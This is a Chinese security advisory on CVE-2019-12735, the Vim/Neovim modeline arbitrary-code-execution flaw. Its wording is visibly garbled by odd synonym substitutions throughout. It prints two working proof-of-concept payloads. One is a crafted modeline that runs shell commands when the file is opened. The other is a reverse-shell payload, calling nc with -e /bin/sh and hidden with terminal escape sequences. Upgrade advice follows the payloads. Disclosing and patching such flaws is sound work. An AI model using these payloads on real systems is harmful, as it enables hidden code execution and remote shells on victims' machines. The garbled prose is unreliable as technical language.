Vim和Neovim肆意代码执行缝隙安全公告
颁布功夫 2019-06-06缝隙编号和级别
CVE编号:CVE-2019-12735,危险级别:高危,CVSS分值:8.6
受影响的版本
Neovim < 0.3.6
缝隙概述
Vim是一款职能壮大、高度可定造的文本编纂器。由于Vim在代码补全、编译及方便编程等方面极度壮大,因而在法式员中被宽泛使用,成为类Unix系统用户最喜欢的文本编纂器之一。
文本编纂器Vim/Neovim存在严沉缝隙,通过打开出格机关的文本文件,模驶叫选项未被禁用的话,就可导致Vim/Neovim肆意代码执行缝隙。缝隙成因是模式行中仅允许选项子集,若是选项的值蕴含一个表白式,就能够在沙箱中运行。:source! 号令可绕过沙箱,它能够从既定文件中读取并执行号令,因而能够轻松构建在沙箱表允许运行代码的模式行。
缝隙验证
POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md。
测试版本如下:
1、创建poc.txt
:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
2、确保未禁用modeline选项(:set modeline)
使用如下号令查看号令地位
如下:
3、在vim中打开该txt
而后系统会执行 uname -a&&whoami
第二种,创建反弹shell
此表,当使用cat打印内容时,PoC使用终端转义序列来暗藏号令行。(而使用cat -v能够显示现实内容。)
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

建复建议
升级到Vim 8.1.1365、Neovim 0.3.6或以上版本,此表建议禁用模式行,使用securemodelines插件。
https://github.com/vim/vim/commit/5357552
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
参考链接


京公网安备11010802024551号